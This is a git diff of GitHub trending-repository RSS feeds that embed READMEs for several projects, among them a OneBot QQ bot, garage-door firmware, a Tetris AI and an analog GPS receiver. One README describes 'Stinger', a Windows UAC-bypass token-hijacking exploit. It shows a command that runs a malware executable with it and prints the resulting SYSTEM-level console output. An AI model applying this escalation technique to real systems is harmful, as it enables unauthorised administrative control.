href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#set_restart-%E9%87%8D%E5%90%AF-onebot-%E5%AE%9E%E7%8E%B0">/set_restart</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/api/public.md#clean_cache-%E6%B8%85%E7%90%86%E7%BC%93%E5%AD%98">/clean_cache</a></td> <td align="center">๐Ÿ”ด</td> </tr> </tbody> </table> </details> <details> <summary>Event</summary> <table> <thead> <tr> <th>PostType</th> <th>EventName</th> <th align="center">Support</th> </tr> </thead> <tbody> <tr> <td>Message</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/message.md#%E7%A7%81%E8%81%8A%E6%B6%88%E6%81%AF">Private Message</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td>Message</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/message.md#%E7%BE%A4%E6%B6%88%E6%81%AF">Group Message</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td>Notice</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/notice.md#%E7%BE%A4%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0">Group File Upload</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td>Notice</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/notice.md#%E7%BE%A4%E7%AE%A1%E7%90%86%E5%91%98%E5%8F%98%E5%8A%A8">Group Admin Change</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td>Notice</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/notice.md#%E7%BE%A4%E6%88%90%E5%91%98%E5%87%8F%E5%B0%91">Group Member Decrease</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td>Notice</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/notice.md#%E7%BE%A4%E6%88%90%E5%91%98%E5%A2%9E%E5%8A%A0">Group Member Increase</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td>Notice</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/notice.md#%E7%BE%A4%E7%A6%81%E8%A8%80">Group Mute</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td>Notice</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/notice.md#%E5%A5%BD%E5%8F%8B%E6%B7%BB%E5%8A%A0">Friend Add</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td>Notice</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/notice.md#%E7%BE%A4%E6%B6%88%E6%81%AF%E6%92%A4%E5%9B%9E">Group Recall Message</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td>Notice</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/notice.md#%E5%A5%BD%E5%8F%8B%E6%B6%88%E6%81%AF%E6%92%A4%E5%9B%9E">Friend Recall Message</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td>Notice</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/notice.md#%E7%BE%A4%E5%86%85%E6%88%B3%E4%B8%80%E6%88%B3">Group Poke</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td>Notice</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/notice.md#%E7%BE%A4%E7%BA%A2%E5%8C%85%E8%BF%90%E6%B0%94%E7%8E%8B">Group red envelope luck king</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td>Notice</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/notice.md#%E7%BE%A4%E6%88%90%E5%91%98%E8%8D%A3%E8%AA%89%E5%8F%98%E6%9B%B4">Group Member Honor Changed</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td>Request</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/request.md#%E5%8A%A0%E5%A5%BD%E5%8F%8B%E8%AF%B7%E6%B1%82">Add Friend Request</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td>Request</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/request.md#%E5%8A%A0%E7%BE%A4%E8%AF%B7%E6%B1%82%E9%82%80%E8%AF%B7">Group Request/Invitations</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td>Meta</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/meta.md#%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F">LifeCycle</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td>Meta</td> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/event/meta.md#%E5%BF%83%E8%B7%B3">Heartbeat</a></td> <td align="center">๐ŸŸข</td> </tr> </tbody> </table> </details> <details> <summary>Communication</summary> <table> <thead> <tr> <th>CommunicationType</th> <th align="center">Support</th> </tr> </thead> <tbody> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/communication/http.md">Http</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/communication/http-post.md">Http-Post</a></td> <td align="center">๐Ÿ”ด</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/communication/ws.md">ForwardWebSocket</a></td> <td align="center">๐ŸŸข</td> </tr> <tr> <td><a href="https://github.com/botuniverse/onebot-11/raw/master/communication/ws-reverse.md">ReverseWebSocket</a></td> <td align="center">๐ŸŸข</td> </tr> </tbody> </table> </details> <h4>appsettings.json Example</h4> <pre><code class="language-json">{ "Logging": { "LogLevel": { "Default": "Trace", "Microsoft": "Warning", "Microsoft.Hosting.Lifetime": "Information" } }, "SignServerUrl": "", "Account": { "Uin": 0, "Password": "", "Protocol": "Linux", "AutoReconnect": true, "GetOptimumServer": true }, "Message": { "IgnoreSelf": true }, "Implementation": { "ForwardWebSocket": { "Host": "127.0.0.1", "Port": 8081, "HeartBeatInterval": 5000, "AccessToken": "" }, "ReverseWebSocket": { "Host": "127.0.0.1", "Port": 8080, "Suffix": "/onebot/v11/ws", "ReconnectInterval": 5000, "HeartBeatInterval": 5000, "AccessToken": "" }, "Http": { "Host": "", "Port": 0, "EventEnabled": false }, "HttpPost": { "Host": "127.0.0.1", "Port": 8080, "Suffix": "/onebot/v11/http", "Timeout": 0 } } } </code></pre> <ul> <li>Create a file named 'appsettings.json' under Lagrange.OneBot executable directory</li> <li>As the Password is empty here, this indicates that QRCode login is used</li> <li>After the QRCode Login, write Uin back to perform EasyLogin</li> <li>If you want a multi connection, remove the 'Implementation' Part and add</li> </ul> <pre><code class="language-json">{ "Implementations": [ { "Type": "ReverseWebSocket", "Host": "127.0.0.1", "Port": 8080, "Suffix": "/onebot/v11/ws", "ReconnectInterval": 5000, "HeartBeatInterval": 5000, "AccessToken": "" }, { "Type": "ReverseWebSocket", "Host": "127.0.0.1", "Port": 8081, "HeartBeatInterval": 5000, "AccessToken": "" } ] } </code></pre> <h2>Known Problem</h2> <p><del>- [ ] Signature Service is currently not established, so the login tend to be failed and return code may be 45, you can establish your own sign service by rewriting the <code>Signature</code> static class.</del></p> <p><del>Thanks KonataDev/TheSnowfield for Provision of Signature API</del></p> <p>Signature API is now not provided, you may need to find it somewhere and inherit <code>SignProvider</code> class for <code>CustomSignProvider</code> in <code>BotConfig</code></p> <ul> <li>Signature of Windows and macOS is missing, you need to figure out by your self</li> </ul> - \ No newline at end of file diff --git a/c++/daily/index.xml b/c++/daily/index.xml index 0dc38d695b5..f847dbef496 100644 --- a/c++/daily/index.xml +++ b/c++/daily/index.xml @@ -1,14 +1,28 @@ GitHub C++ Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:47Z + 2024-01-06T01:27:42Z Daily Trending of C++ in GitHub - ratgdo/homekit-ratgdo - 2024-01-05T01:28:47Z - tag:github.com,2024-01-05:/ratgdo/homekit-ratgdo - - <p>A native HomeKit implementation of a Security+ 2.0 garage door controller based on ratgdo hardware</p><hr><h1>What is HomeKit-RATGDO?</h1> <p>HomeKit-RATGDO is an alternative firmware for the RATGDO v2.5-series WiFi control boards that works over your <em>local network</em> using HomeKit, or over the internet using your Apple HomeKit home hubs, to control your garage door opener. It requires no supporting infrastructure such as Home Assistant, Homebridge, MQTT, etc, and connects to your garage door opener with as few as three wires.</p> <p>This firmware supports only Security+ 2.0-enabled garage door openers and RATGDO v2.5-series ESP8266-based hardware.</p> <blockquote> <p>[!IMPORTANT] This is a work-in-progress implementation that is ready for <em>beta testing only</em>. I am pretty sure it won't leave your garage open to thieves and light your cat on fire, but it might.</p> <p>Stability is a top priority, but you should expect to need to update your device from time to time while this firmware is improved. This currently requires being able to physically connect a USB wire to the RATGDO to flash new firmware. If that's not practical (or possible) for you, you may want to wait for <a href="https://github.com/ratgdo/homekit-ratgdo/issues/20">over-the-air (OTA) updates</a> to be supported, or wait until better stability is promised.</p> </blockquote> <h2>What does this firmware support?</h2> <ul> <li>Opening and closing multiple garage doors independently in the same HomeKit home.</li> <li>Motion sensor reporting, if you have a "smart" wall-mounted control panel.</li> </ul> <p>That's it, for now. Check the <a href="https://github.com/ratgdo/homekit-ratgdo/issues">GitHub Issues</a> for planned features, or to suggest your own.</p> <h2>How do I install it?</h2> <blockquote> <p>[!NOTE] The installation process is still being improved. You may need to reload the flasher tool page after each of the following steps in order to proceed.</p> </blockquote> <p>For each of the following steps, use the <a href="https://ratgdo.github.io/homekit-ratgdo">online browser-based flash tool</a>:</p> <ul> <li>Install the HomeKit-RATGDO firmware, and then <em>wait 20 seconds</em>.</li> <li>Connect the RATGDO to WiFi.</li> <li>Click "Visit Device", and then begin the process of adding a device to HomeKit. Scan the QR code, or manually enter the setup code <code>2510-2023</code>.</li> </ul> <p>That's it!</p> <h2>How do I upgrade?</h2> <p>The flash in the default ESP8266-based RATGDO hardware is too small to permit over-the-air updates, so you'll need to use the web flasher, above, to update the firmware. You don't need to do anything to prepare for the upgrade. Simply flash it, and pairing and wifi configuration will be retained.</p> <p>Automatic updates are not supported (and probably will never be), so set a reminder to check back again in the future.</p> <h2>Help! aka the FAQs</h2> <h3>How can I tell if the ratgdo is paired to HomeKit?</h3> <p>Use the <a href="https://ratgdo.github.io/homekit-ratgdo">online browser-based flash tool</a>, and follow the "Visit Device" link. If you see a big QR code, the ratgdo is <em>not</em> paired.</p> <h3>I added my garage door in the Home app but can't find it</h3> <p>This is a common problem. Be sure to check all of the "rooms" in the Home app. If you really can't find it, you can try un-pairing and re-pairing the device, paying close attention to the room you select after adding it.</p> <h3>How to do I re-pair my ratgdo?</h3> <p>Use the <a href="https://ratgdo.github.io/homekit-ratgdo">online browser-based flash tool</a>, and follow the "Visit Device" link. If you see a big QR code, the ratgdo is <em>not</em> paired. Click the "Un-pair HomeKit" button, and then delete the garage door from within the HomeKit app (or vice versa, order does not matter). You can then re-pair the device by adding it again as normal.</p> <h3>Where can I get help?</h3> <p>If your question has not been answered here, you can try the Discord chat.</p> <p>Click <a href="https://discord.gg/homebridge-432663330281226270">this link</a> to follow an invite to the server. Server rules require a 10 minute wait after signup.</p> <p>Now that you've signed up, go here to join the discussion:</p> <p><a href="https://discord.com/channels/432663330281226270/1184710180563329115"><img src="https://raw.githubusercontent.com/ratgdo/homekit-ratgdo/main/docs/discord-logo.png" alt="the Discord logo"></a>.</p> <p>Please also feel free to open a <a href="https://github.com/ratgdo/homekit-ratgdo/issues">GitHub Issue</a> if you don't already see your concern listed. Don't forget to check the <a href="https://github.com/ratgdo/homekit-ratgdo/issues?q=is%3Aissue+is%3Aclosed">closed issues</a> to see if someone has already found a fix.</p> <h2>How can I contribute?</h2> <p>HomeKit-RATGDO uses <a href="https://platformio.org/platformio-ide">PlatformIO</a> for builds. You'll want to install PlatformIO first.</p> <p>After you've checked out this repo:</p> <pre><code>git clone git@github.com:ratgdo/homekit-ratgdo.git </code></pre> <p>Initialize the submodules from the root of the repo:</p> <pre><code>cd homekit-ratgdo git submodule init lib/secplus/ git submodule update </code></pre> <p>The <a href="https://github.com/ratgdo/homekit-ratgdo/raw/main/x.sh"><code>x.sh</code></a> script is my lazy way of not having to remember PlatformIO-specific <code>pio</code> commands. The important ones are <code>run</code>, <code>upload</code>, and <code>monitor</code>.</p> <h2>Who wrote this?</h2> <p>This firmware was written by <a href="https://github.com/thenewwazoo">Brandon Matthews</a>, with lots of inspiration from the <a href="https://github.com/ratgdo/esphome-ratgdo">esphome-ratgdo</a> project and critical dependence on the <a href="https://github.com/argilo/secplus">secplus decoder library</a>.</p> <p>Special credit goes to the Chamberlain Group, without whose irredeemably stupid decision to <a href="https://chamberlaingroup.com/press/a-message-about-our-decision-to-prevent-unauthorized-usage-of-myq">close their API to third parties</a>, this firmware would never have been necessary.</p> + GregoryCannon/StackRabbit + 2024-01-06T01:27:42Z + tag:github.com,2024-01-06:/GregoryCannon/StackRabbit + + <p>An AI for playing NES Tetris at a high level. Based primarily on search & heuristic, with high quality board evaluation through value iteration.</p><hr><h1>StackRabbit</h1> <p>An AI that plays NES Tetris at a high level. Primarily based on search &amp; heuristic, with high-quality board eval through value iteration.</p> <p>Due to the logistics of playing NES Tetris, there are two different clients for interacting with the main AI backend:</p> <ul> <li><code>fceux</code> contains a Lua client for playing in the FCEUX emulator (primary client)</li> <li><code>console_client</code> contains a python client that runs on Raspberry Pi to play on a real console.</li> <li><a href="https://github.com/GregoryCannon/TetrisTrainer">TetrisTrainer</a> is a public web client (<a href="https://gregorycannon.github.io/TetrisTrainer">try it live!</a>) that lets users draw a board and ask AI about the best placements.</li> </ul> <p>Then there are two components of the backend:</p> <ul> <li><code>server</code> contains the primary server, written in Node.js. It handles the request parsing, and the delegation to worker threads. It also contains lots of deprecated AI code, since the initial implmentation was entirely in JS (oops).</li> <li><code>cpp_modules</code> contains modules that perform the core AI computation at literally 100x the speed of the original JS implementation. The main flow involves a Node server thread sending a game state to the C++ module, which returns the value of each possible move as an encoded JSON map.</li> </ul> + + + hackerhouse-opensource/Stinger + 2024-01-06T01:27:42Z + tag:github.com,2024-01-06:/hackerhouse-opensource/Stinger + + <p>CIA UAC bypass implementation of Stinger that obtains the token from an auto-elevated process, modifies it, and reuses it to execute as Administrator.</p><hr><h1>Stinger</h1> <p>CIA Vault7 leak describes Stinger[0] as a Privilege Escalation module in the "Fine Dining" toolset. Stinger is a "UAC bypass that obtains the token from an auto-elevated process, modifies it, and reuses it to execute as administrator". This is an implementation of Stinger, including debugging routines and additional tradecraft for <code>NT AUTHORITY\SYSTEM</code> rights. The exploit works on Windows 7 through Windows 10 to run privileged code through token hijacking of an autoelevated process (e.g. <code>Taskmgr.exe</code>) from a UAC restricted process. This technique to steal a privileged token and elevate a thread also works on Windows 11, however it is not possible to use it for CreateProcessWithLogonW which detects <code>BAD IMPERSONATION</code> or with CreateFile, Registry, Process, COM ITask*, Named Pipes etc as the operations fail with <code>ACESS_DENIED</code> or <code>E_BAD_IMPERSONATION</code>. This exploit closely resembles UAC Magic[1] and thus it is believed that Stinger is an implementation of UAC Magic based on the description and time which it was used within the CIA for modular malware in "Fine Dining". This is a tokenhijacking attack that bypasses UAC on Windows 7 -&gt; Windows 10, and on Windows 11 gives only an elevated thread to further experiment with. This exploit leverages a COM object ITaskService from the privileged thread to run commands under <code>NT AUTHORITY\SYSTEM</code>.</p> <p>Here is an example of the UAC bypass being used on a vulnerable Windows 7 host.</p> <pre><code>Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\TestUser\Downloads&gt;whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled C:\Users\TestUser\Downloads&gt;Stinger.exe taskmgr.exe cmd.exe /c c:\\Temp\\malware.exe Show our process security context... User: TestUser Domain: TESTPC User SID: S-1-5-21-3089230831-4110903467-601958294-1001 Checking token DACL... Allowed ACE: GENERIC_ALL Account: TESTPC\TestUser SID: S-1-5-21-3089230831-4110903467-601958294-1001 Allowed ACE: GENERIC_ALL Account: NT AUTHORITY\SYSTEM SID: S-1-5-18 Allowed ACE: GENERIC_READ GENERIC_EXECUTE LookupAccountSid failed: 1332 SID: S-1-5-5-0-107317 Token is not elevated. Token is not restricted Dumping token privileges... [-] Disabled Privilege: SeShutdownPrivilege Attributes : 0 [+] Enabled Privilege: SeChangeNotifyPrivilege Attributes : 3 This privilege is enabled by default. [-] Disabled Privilege: SeUndockPrivilege Attributes : 0 [-] Disabled Privilege: SeIncreaseWorkingSetPrivilege Attributes : 0 [-] Disabled Privilege: SeTimeZonePrivilege Attributes : 0 Process ID: 3992 Successfully duplicated token H4x0r1nG the token ... Enabling privilege: SeIncreaseQuotaPrivilege Enabling privilege: SeSecurityPrivilege Enabling privilege: SeTakeOwnershipPrivilege Enabling privilege: SeLoadDriverPrivilege Enabling privilege: SeSystemProfilePrivilege Enabling privilege: SeSystemtimePrivilege Enabling privilege: SeProfileSingleProcessPrivilege Enabling privilege: SeIncreaseBasePriorityPrivilege Enabling privilege: SeCreatePagefilePrivilege Enabling privilege: SeBackupPrivilege Enabling privilege: SeRestorePrivilege Enabling privilege: SeShutdownPrivilege Enabling privilege: SeDebugPrivilege Enabling privilege: SeSystemEnvironmentPrivilege Enabling privilege: SeChangeNotifyPrivilege Enabling privilege: SeRemoteShutdownPrivilege Enabling privilege: SeUndockPrivilege Enabling privilege: SeManageVolumePrivilege Enabling privilege: SeImpersonatePrivilege Enabling privilege: SeCreateGlobalPrivilege Enabling privilege: SeIncreaseWorkingSetPrivilege Enabling privilege: SeTimeZonePrivilege Enabling privilege: SeCreateSymbolicLinkPrivilege Dropping IL... Initialized medium IL SID Token lowered to medium integrity COM init... Attemping to bypass UAC with the token... ImpersonateLoggedOnUser succeeded.. Dumping our new security context.. User: TestUser Domain: TESTPC User SID: S-1-5-21-3089230831-4110903467-601958294-1001 Checking token DACL... Allowed ACE: GENERIC_ALL Account: BUILTIN\Administrators SID: S-1-5-32-544 Allowed ACE: GENERIC_ALL Account: NT AUTHORITY\SYSTEM SID: S-1-5-18 Allowed ACE: GENERIC_READ GENERIC_EXECUTE LookupAccountSid failed: 1332 SID: S-1-5-5-0-107317 Token is elevated! Token is not restricted Dumping token privileges... [+] Enabled Privilege: SeIncreaseQuotaPrivilege Attributes : 2 [+] Enabled Privilege: SeSecurityPrivilege Attributes : 2 [-] Disabled Privilege: SeTakeOwnershipPrivilege Attributes : 0 [-] Disabled Privilege: SeLoadDriverPrivilege Attributes : 0 [+] Enabled Privilege: SeSystemProfilePrivilege Attributes : 2 [+] Enabled Privilege: SeSystemtimePrivilege Attributes : 2 [+] Enabled Privilege: SeProfileSingleProcessPrivilege Attributes : 2 [+] Enabled Privilege: SeIncreaseBasePriorityPrivilege Attributes : 2 [+] Enabled Privilege: SeCreatePagefilePrivilege Attributes : 2 [-] Disabled Privilege: SeBackupPrivilege Attributes : 0 [-] Disabled Privilege: SeRestorePrivilege Attributes : 0 [+] Enabled Privilege: SeShutdownPrivilege Attributes : 2 [-] Disabled Privilege: SeDebugPrivilege Attributes : 0 [+] Enabled Privilege: SeSystemEnvironmentPrivilege Attributes : 2 [+] Enabled Privilege: SeChangeNotifyPrivilege Attributes : 3 This privilege is enabled by default. [+] Enabled Privilege: SeRemoteShutdownPrivilege Attributes : 2 [+] Enabled Privilege: SeUndockPrivilege Attributes : 2 [+] Enabled Privilege: SeManageVolumePrivilege Attributes : 2 [-] Disabled Privilege: SeImpersonatePrivilege Attributes : 0 [+] Enabled Privilege: SeCreateGlobalPrivilege Attributes : 3 This privilege is enabled by default. [+] Enabled Privilege: SeIncreaseWorkingSetPrivilege Attributes : 2 [+] Enabled Privilege: SeTimeZonePrivilege Attributes : 2 [+] Enabled Privilege: SeCreateSymbolicLinkPrivilege Attributes : 2 Attemping to run command as NT AUTHORITY\SYSTEM via COM... Created ITaskService.. Connected to ITaskService.. Registering the evil Task.. Task created successfully. Executed command as NT AUTHORITY\SYSTEM... wait for cleanup Task deleted successfully. </code></pre> <p>Your commands have executed under <code>NT AUTHORITY\SYSTEM</code>. Happy New Year!</p> <h2>References</h2> <ul> <li>[0]: <a href="https://wikileaks.org/ciav7p1/cms/page_20251107.html">Fine Dining Tool Module List, Vault 7, Wikileaks</a>.</li> <li>[1]: <a href="https://www.tiraniddo.dev/2017/05/reading-your-way-around-uac-part-1.html">Reading your way around UAC, James Forshaw</a>.</li> </ul> <h2>License</h2> <p>These files are available under a Attribution-NonCommercial-NoDerivatives 4.0 International license.</p> + + + J-JLucas/SCM + 2024-01-06T01:27:42Z + tag:github.com,2024-01-06:/J-JLucas/SCM + + <p></p><hr><p>Click Releases On the Righthand side and download the zip to play!</p> \ No newline at end of file diff --git a/c-objdump/daily/index.xml b/c-objdump/daily/index.xml index 5ba4ec6366d..06d405a7470 100644 --- a/c-objdump/daily/index.xml +++ b/c-objdump/daily/index.xml @@ -1,7 +1,7 @@ GitHub C-ObjDump Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:41Z + 2024-01-06T01:27:36Z Daily Trending of C-ObjDump in GitHub \ No newline at end of file diff --git a/c/daily/index.xml b/c/daily/index.xml index 540a2ec193e..b479358bc1d 100644 --- a/c/daily/index.xml +++ b/c/daily/index.xml @@ -1,14 +1,28 @@ GitHub C Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2024-01-05T01:28:20Z + 2024-01-06T01:27:08Z Daily Trending of C in GitHub - leaningktower/Analog-GPS-data-receiver - 2024-01-05T01:28:20Z - tag:github.com,2024-01-05:/leaningktower/Analog-GPS-data-receiver - - <p>An full analog GPS receiver using discrete rf components and TinyFPGA</p><hr><img width="1100" alt="Pasted Graphic" src="https://github.com/leaningktower/Analog-GPS-data-receiver/assets/17516571/4cfeafa1-44cb-4742-809d-766c274e0fdf"> <p>The picture above shows a pure analog Global Positioning System (GPS) data receiver that can receive the Navigation (NAV) Message from the GPS satellite. The receiver is a dual conversion receiver that includes five homemade PCB boards. A tinyFPGA is used for generating the Coarse Acquisition (C/A) code which retrieve the direct-sequence spread spectrum (DSSS) GPS signal submerged below the thermal noise level.</p> <p>I was originally motivated by the works [1, 2] of Matjaz Vidmar (S53MV) and Andrew Holme. Both of the receivers are based on the 1-bit analog-to-digital&nbsp;converter (ADC) structure that uses on a single comparator that greatly the hardware of the design. The receiver of S53MV was built more than 30 years ago, based on a digital signal processor (DSP) that is made from fully discreet logic chips and a MC68010 processor. And the receiver of Andrew Holme is based on FPGA with a Forth-like Embedded CPU and a Raspberry Pi in charge of the fast Fourier transform (FFT) to speed up the satellite tracking process. Both two projects include great amount of minor details in software make them a bit daunted to the people who wants to learn from it and build their own receiver.</p> <p>Another impressive analog GPS receiver comes from the book [3] of Dan Doberstein. In the Chapter 7 of this book, he provides a very detailed description of the GPS100SC receiver, which is a single channel data receiver and you can still literally build four of these receivers and find out your position! However, the receiver is not fully open sourced but makes me feel excited to build my own receiver from scratch. As a fan of analog electronics, it is also a fun project!</p> <h3>Hardware Architecture</h3> <img width="1100" alt="Pasted Graphic 1" src="https://github.com/leaningktower/Analog-GPS-data-receiver/assets/17516571/9cb75191-05ad-4593-9742-cd3b5acdf3d3"> <p>The block diagram of the receiver is shown above. The receiver includes 5 different parts, the 1st mixer board, 1st LO board, 2nd mixer and correlation board, IF signal processing board and FPGA interfacing board (not shown). They are indicated by the dashed blocks in the diagram.</p> <p>A commercial GPS antenna with internal amplifier and filters is used that can be easily find on AliExpress and Amazon. The first IF is set to around 60 MHz, which is relatively high to avoid the interference between antenna and local oscillator with poor shielding. LNA (BGA420) is placed before the 1st mixer (MAX2680) to decrease the noise figure of the receiver with a long coax cable between the antenna and receiver.</p> <p>The 1st LO is based on an old fashioned integer-N frequency synthesiser (ADF4113) and discreet VCO (YSGM151708). Any frequency error caused by integer-N can be easily compensated by using a VCXO as the frequency reference. Further more, the VCXO also provides the frequency scan and the doppler frequency tracking of this receiver.</p> <p>A 4th order LC filter with ~10 MHz bandwidth is placed after the 1st mixer, which removes most of the LO leakage of the first mixer. The LNA after the 1st mixer is optional but it is necessary for the impedance matching of the 1st mixerโ€™s output. The 2nd IF is 10.7 MHz and use a random 48 MHz oscillator as the 2nd LO. Instead of single tone signal, the 2nd LO is modulated with the dithered C/A code using Tau dither method, which switches the C/A code between the early and late phase at a frequency around 166 Hz. When the local C/A code is synchronised to the received signal, the DSSS signal is demodulated in to a Binary Phase-shift keying&nbsp;(BPSK) signal with 50 Hz chip rate and recovered from the thermal noise level. The down converted 10.7 MHz 2nd IF signal is sent to a crystal filter with 1.8 kHz bandwidth centred at 10.699 MHz.</p> <p>The IF signal processing is based on SA604/SA605 FM receiver chip. The GPS signal strength is around -50 dBm before the IF signal processing board, which is more than enough for this chip with 90 dB dynamic range. The IF limiter output is filtered and sent to the comparator for finding out the IF frequency and used for tracking the doppler shift. The limiter output is also sent to another 10.7 MHz crystal used for quadrature detector, which converts the phase flip of the BPSK signal to the pulses at audio output of the detector. On the other hand, the amplitude of the signal is indicated by the RSSI output, two comparators are used to determine whether the signal strength is strong enough for the code phase or doppler frequency locking. A 166 Hz active band-pass filter is used to tell the FPGA to slow down or speed up the NCO to synchronise the code phase.</p> <h3>FPGA Architecture</h3> <p><strong>C/A code tracking/lock and NAV data recovery</strong></p> <img width="1100" alt="Pasted Graphic 3" src="https://github.com/leaningktower/Analog-GPS-data-receiver/assets/17516571/bbeb4a01-8cf7-4c16-a5cc-ab19d57110cf"> <p>The block diagram above shows the block diagram for the C/A code tracking and locking system. The system clock is 24.552 MHz, which is 24 times of the 1.023 MHz chip rate. When the system is unlocked, a 8 bit u/d counter continuous trigger the div by 23 input of the 5 bit ring counter. That gives the 1.023 MHz C/A code clock frequency deviated by 64 kHz / 256 / 24 = 10.4 Hz. This offset frequency helps the system find the correlation peak every 1023 / 10.4 = 98 second where 1023 is the length of the C/A code. When the system finds the correlation peak, the code lock signal is enabled and the the u/d counter is controlled by the XOR between the 166 Hz dither signal and dither induced AM signal from RSSI. The detailed description can be found in [3].</p> <p><strong>Doppler tracking/lock</strong></p> <img width="1100" alt="Pasted Graphic 4" src="https://github.com/leaningktower/Analog-GPS-data-receiver/assets/17516571/cb070d28-9a8b-42f1-b7ff-b5300fab0a75"> <p>The block diagram of doppler tracking/lock is shown above. Due to the narrowband 10.7 MHz filter for finding the IF frequency, the doppler lock needs higher RSSI trigger level than the code lock and the system is only locked when both signals are enabled. When doppler lock is not enabled, the 6 bit counter continues over flowed with a rate of 200 / 64 = 3 Hz, which scan the PWM output from 0 to 1023 in 5 minutes, this serves as the doppler scan for corse finding the satellite doppler shift between -5 to 5 kHz. When both the doppler scan and code scan located around correct position, the RSSI will be high enough to enable both signal. When the doppler lock is enabled the 6 bit up/down counter is controlled by the magnitude comparator which compares the measured IF center frequency with the setting frequency, which is 10.699 MHz. Since the counter is reset every 1/25 second, the 12 bit frequency counter will be overflowed 104 times and gives a final reading around 1976. A slightly different frerqnency is used in the receiver considering the best sensitivity of the quadrature detector circuit, which is determined by the center frequency of the quartz crystal being used.</p> <h3>Detailed schematic</h3> <p>I made some small modifications to the circuit and the plots below gives the schematic that is updated in real design, which may show minor difference to the files in the folder.</p> <img width="1100" alt="Pasted Graphic 6" src="https://github.com/leaningktower/Analog-GPS-data-receiver/assets/17516571/e58991fe-3bbd-45c6-b69b-cfb48afc4deb"> First mixer and preamp <p>The transistor Q1 and bias tee U1 provides the clean power supply to the active antenna, two low noise amplifier is placed before and after the mixer U3. The impedance matching network of the mixer is calculated by the S parameters given by the manufactor. The board convert the GPS signal from 1575.42 MHz to 58.7 MHz and provides a overall gain around 41 dB.</p> <img width="1100" alt="Pasted Graphic 7" src="https://github.com/leaningktower/Analog-GPS-data-receiver/assets/17516571/10925ff6-cfae-40ce-9bf7-f681c0ce8558"> Second mixer and correlator <p>Two mixer is used for down converting and C/A code modulation of the LO signal. The maximum output power of U3 is only 0 dBm which is significant lower than the require LO power of 7 dBm, however this doesnโ€™t seems to be a big problem and only add several dB loss to the system. Three JFET follower is used for monitoring the 1st IF, 2nd IF and 2nd LO, note that the drain and source is reversed in the schematic and PCB design. The value of C12 is used to tune the bandwidth of the filter, which needs additional tuning for different crystals.</p> <img width="1100" alt="Pasted Graphic 9" src="https://github.com/leaningktower/Analog-GPS-data-receiver/assets/17516571/476e41a1-15dd-4b62-a2f9-d5ba7201a986"> IF signal processing <p>A 10.7 MHz crystal oscillator Y1 is used but it can be a normal ceramic filter since there is already a narrowband filter before IF signal processing board. The fast comparator U2 and the OpAmp U8 needs dual power supply and a negative voltage generator is built from the CMOS inverter U4. Note that the VEE pin of U8 is tied to ground in the PCB design.</p> <img width="1100" alt="Pasted Graphic 10" src="https://github.com/leaningktower/Analog-GPS-data-receiver/assets/17516571/6c1deb64-3232-4f76-9308-bfa06e135830"> First local oscillator <p>An ATtiny85 is used for configure the ADF4331 setting after power up. The potentiometer is used for coarse adjusting the out frequency and frequency can be externally tuned by the tuning voltage through the connector J1. The U5 amplifier is optional considering the tuning voltage range of the VCO. The output power of this board is around 0 dBm.</p> <img width="1100" alt="Pasted Graphic 11" src="https://github.com/leaningktower/Analog-GPS-data-receiver/assets/17516571/65ca15c5-7847-4f02-8ce7-5411a9b4a879"> FPGA interfacing <p>This boards provides all the interconnect between the TinyFPGA and external circuits. Another ATtiny85 is used for communicating between the FPGA and external keyboard/display. The external keyboard is used to set the SVID of the satellite, centre IF frequency and initialised output value of PWM. It is also used to monitor the realtime PWM output setting and IF counter frequency. Note that the 